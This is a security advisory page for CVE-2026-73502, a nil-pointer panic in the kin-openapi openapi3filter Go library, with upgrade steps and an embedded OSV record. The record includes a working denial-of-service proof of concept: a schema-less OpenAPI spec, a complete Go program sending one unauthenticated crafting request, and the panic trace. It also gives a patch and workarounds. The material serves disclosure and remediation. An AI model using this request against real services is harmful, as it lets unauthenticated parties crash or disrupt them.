CVE-2026-73502: kin-openapi openapi3filter Unauthenticated Nil-pointer Panic When Validating Vulnerability
MODERATECVE-2026-73502 is a MODERATE (CVSS 5.3) unauthenticated nil-pointer panic when validating vulnerability (CWE-476: NULL Pointer Dereference) affecting kin-openapi openapi3filter libraries in the Go ecosystem. The issue involves unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema. Remediation is available by upgrading affected packages to version 0.144.0.
CVE-2026-73502 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix CVE-2026-73502
To remediate this vulnerability, upgrade all affected kin-openapi openapi3filter dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/getkin/kin-openapi to 0.144.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/getkin/kin-openapi
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-73502, inspect your project dependencies for kin-openapi openapi3filter:
inspect dependencies for github.com/getkin/kin-openapi
Analyze the terminal output to locate any version of kin-openapi openapi3filter in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.144.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In kin-openapi openapi3filter, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-73502 Affected kin-openapi openapi3filter Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/getkin/kin-openapi
|
Go |
< 0.144.0
|
0.144.0
|
References
Frequently Asked Questions
What is CVE-2026-73502?
Which kin-openapi openapi3filter versions are affected?
What version fixes CVE-2026-73502?
Is github.com/getkin/kin-openapi affected?
What is the CVSS score of CVE-2026-73502?
What CWE is associated with CVE-2026-73502?
How can I check Go dependencies for CVE-2026-73502?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jpcw-4wr7-c3vq",
"modified" : "2026-08-12T21:25:47Z",
"published" : "2026-07-24T22:39:39Z",
"aliases" : [ "CVE-2026-73502" ],
"summary" : "kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema",
"details" : "| Field | Value |\n|---|---|\n| Ecosystem | Go |\n| Package | `github.com/getkin/kin-openapi` |\n| Affected versions | `<= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) |\n| Patched versions | 0.144.0 |\n---\n\n### Summary\n\n`openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own `doc.Validate()` accepts it — and the defect affects **both OpenAPI 3.0.x and 3.1.x**. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.\n\n### Details\n\nThe decoder used for `content` parameters when no custom `ParamDecoder` is configured (the library default), `defaultContentParameterDecoder`, dereferences the media-type schema without a nil check.\n\n`openapi3filter/req_resp_decoder.go`, around line 197:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil { // media-type OBJECT is guarded ...\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value // ... but mt.Schema is NOT — panics when nil\n```\n\nThe function guards `param.Content == nil`, `len(content) != 1`, and `mt == nil`, but never `mt.Schema == nil`.\n\n**Why a schema-less content parameter is legal** (so the sink is reachable — `doc.Validate()` returns no error), in both 3.0.x and 3.1.x:\n\n- `openapi3/parameter.go` — `Parameter.Validate` only enforces *exactly one of `schema` XOR `content`*; a parameter with `content` (and no `schema`) satisfies it.\n- `openapi3/media_type.go` — `MediaType.Validate` validates the schema **only when it is non-nil**, so an absent schema is not a validation error.\n\n**Call path to the panic:**\n\n```\nValidateRequest openapi3filter/validate_request.go:83\n └─ ValidateParameter openapi3filter/validate_request.go:177 (parameter.Content != nil)\n └─ decodeContentParameter openapi3filter/req_resp_decoder.go:166 (attacker supplies value ⇒ found)\n └─ defaultContentParameterDecoder openapi3filter/req_resp_decoder.go:197 ← nil deref / panic\n```\n\n**Authentication note:** `ValidateRequest` validates security *before* parameters, but the panic is reachable **without credentials** whenever the target operation declares no security requirement, or when no `AuthenticationFunc` is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation *does* declare security and a rejecting `AuthenticationFunc` is wired, that request is rejected before decoding.\n\n### PoC\n\nReproduced end-to-end against `HEAD` (`30e2923`) with a real `net/http` server and a stock `http.Client`.\n\n**1. Minimal OpenAPI 3.0.3 document** (legal — `doc.Validate()` passes). The `cfg` query parameter uses `content` with an `application/json` media type that has **no `schema`**:\n\n```yaml\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n```\n\n**2. A complete, self-contained program.** Drop this into a directory inside a checkout of `github.com/getkin/kin-openapi` and run it with `go run .`. It loads the document above, asserts `doc.Validate()` accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated `GET /c?cfg=1`:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.0.3\ninfo: {title: poc, version: \"1.0.0\"}\npaths:\n /c:\n get:\n parameters:\n - name: cfg\n in: query\n content:\n application/json: {} # media type object with NO schema\n responses:\n \"200\": {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// Reachability: the malformed-but-legal document must validate.\n\tif err := doc.Validate(context.Background()); err != nil {\n\t\tpanic(\"doc.Validate rejected the spec, not reachable: \" + err.Error())\n\t}\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Handler mirrors openapi3filter.ValidationHandler: find route, validate.\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\t// Panics here on the crafted request (req_resp_decoder.go:197).\n\t\tif err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: r,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t}); err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(h)\n\tdefer srv.Close()\n\n\t// The single, unauthenticated attack request.\n\tresp, err := http.Get(srv.URL + \"/c?cfg=1\")\n\tif err != nil {\n\t\t// Expected: the server goroutine panicked, so the client sees EOF.\n\t\tfmt.Printf(\"client received an aborted response (expected): %v\\n\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tfmt.Printf(\"UNEXPECTED: got HTTP %d without a panic\\n\", resp.StatusCode)\n}\n```\n\n**3. Observed result** — the request goroutine panics inside validation, and the client's `http.Get` returns an EOF:\n\n```\nhttp: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference\ngithub.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)\n\topenapi3filter/req_resp_decoder.go:197\ngithub.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)\n\topenapi3filter/req_resp_decoder.go:166\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)\n\topenapi3filter/validate_request.go:177\ngithub.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)\n\topenapi3filter/validate_request.go:83\n```\n\nSwapping the media type for one that carries a schema (`application/json: {schema: {type: object}}`) makes the same request return a clean `400` instead of panicking, confirming the missing schema is the cause.\n\n### Impact\n\nThis is an **unauthenticated remote denial of service** (CWE-476) against any service that validates incoming requests with `openapi3filter` and serves a spec containing at least one `content` parameter whose media type lacks a `schema`.\n\nThe precise consequence depends on which goroutine runs the panic and whether a `recover()` covers it:\n\n| Wiring | Recovered by `net/http`? | Result |\n|---|---|---|\n| Synchronous middleware / handler on `net/http` (incl. `openapi3filter.ValidationHandler`) | Yes | Process survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded `http: panic serving` log growth. |\n| `ValidateRequest` on an app-spawned goroutine (fan-out, `errgroup`, async pre-check) | No | **Whole process crashes** on a single unauthenticated request unless the app added its own `recover()`. |\n| Non-`net/http` host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator) | No | **Whole process crashes.** |\n\nThis is why the suggested CVSS uses `A:L` (Base 5.3): under the recommended synchronous `net/http` wiring the panic is recovered per-connection. Reviewers may reasonably raise it to `A:H` (Base 7.5) for the spawned-goroutine and non-`net/http` integrations, where a single request kills the process.\n\n---\n\n## Remediation (suggested)\n\nAdd a `mt.Schema == nil` guard mirroring the existing `mt == nil` guard, so a schema-less content parameter yields a clean validation error instead of a panic:\n\n```go\nmt := content.Get(\"application/json\")\nif mt == nil {\n err = fmt.Errorf(\"parameter %q has no content schema\", param.Name)\n return\n}\nif mt.Schema == nil {\n err = fmt.Errorf(\"parameter %q content media type has no schema\", param.Name)\n return\n}\noutSchema = mt.Schema.Value\n```\n\nThe `unmarshal` closure immediately below already tolerates a nil schema (it checks `paramSchema != nil`), so returning early on nil `mt.Schema` is consistent with surrounding intent.\n\n**Workarounds for consumers, pending a patch:**\n\n- Ensure every `content` parameter in served specs declares a `schema`, or reject such specs at load time.\n- Supply a custom `ParamDecoder` that guards `mt.Schema == nil`.\n- Run request validation inside a handler with an explicit `recover()` — especially if validation runs off the request goroutine or on a non-`net/http` host.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/getkin/kin-openapi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.144.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.143.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/security/advisories/GHSA-jpcw-4wr7-c3vq"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/commit/68ac2affa325514d7d6e731204d6a1edf6bdff64"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getkin/kin-openapi"
}, {
"type" : "WEB",
"url" : "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-476" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T22:39:39Z",
"nvd_published_at" : null
}
}